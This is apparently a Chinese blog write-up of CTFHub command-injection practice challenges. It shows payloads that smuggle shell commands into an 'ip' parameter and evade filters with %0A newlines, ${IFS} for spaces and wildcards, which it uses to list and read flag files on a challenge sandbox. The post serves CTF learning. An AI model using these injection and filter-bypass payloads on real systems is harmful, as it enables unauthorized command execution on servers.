ctfhub 过滤运算符综合过滤练习读取源代码远程包含 eval执行文件包含 php://input

最新推荐文章于 2024-08-07 22:00:00 发布

听门外雪花飞

最新推荐文章于 2024-08-07 22:00:00 发布

阅读量508

点赞数

分类专栏： ctf刷题纪

本文链接：https://blog.csdn.net/weixin_52268949/article/details/119844481

版权

ctf刷题纪专栏收录该内容

48 篇文章 3 订阅

订阅专栏

过滤运算符

在这里插入图片描述

过滤了\和&那么尝试;
在这里插入图片描述

成功那么将flag cat出来
127.0.0.1;cat flag_27249269530391.php
在这里插入图片描述

得到flag

综合过滤练习

在这里插入图片描述

这次过滤有点多过滤了&;空格flag,cat,ctfhub
但是没有过滤%0a,%0d，用 ${IFS}取代空格，用$ *绕过关键词过滤，因为在没有定义的情况下，$*在shell命令执行下为空
在这里插入图片描述

回显有一个flag_is_here文件夹
payload:http://challenge-0d5b8ca008f117b9.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0Acd${IFS}fl*ag_is_here%0Als#这里ls是对flag_is_here目录进行操作，所有ls 是在cd flag_is_here执行后在flag_is_here目录下执行，这里拼接的就得用%0a换行符，可以等效&&，不能用%0d,%0d等效于&。
在这里插入图片描述

将flag tail出来
http://challenge-0d5b8ca008f117b9.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0Acd ${IFS}fl*ag_is_here%0Atail$ {IFS}fl*ag_126912367811026.php#
在这里插入图片描述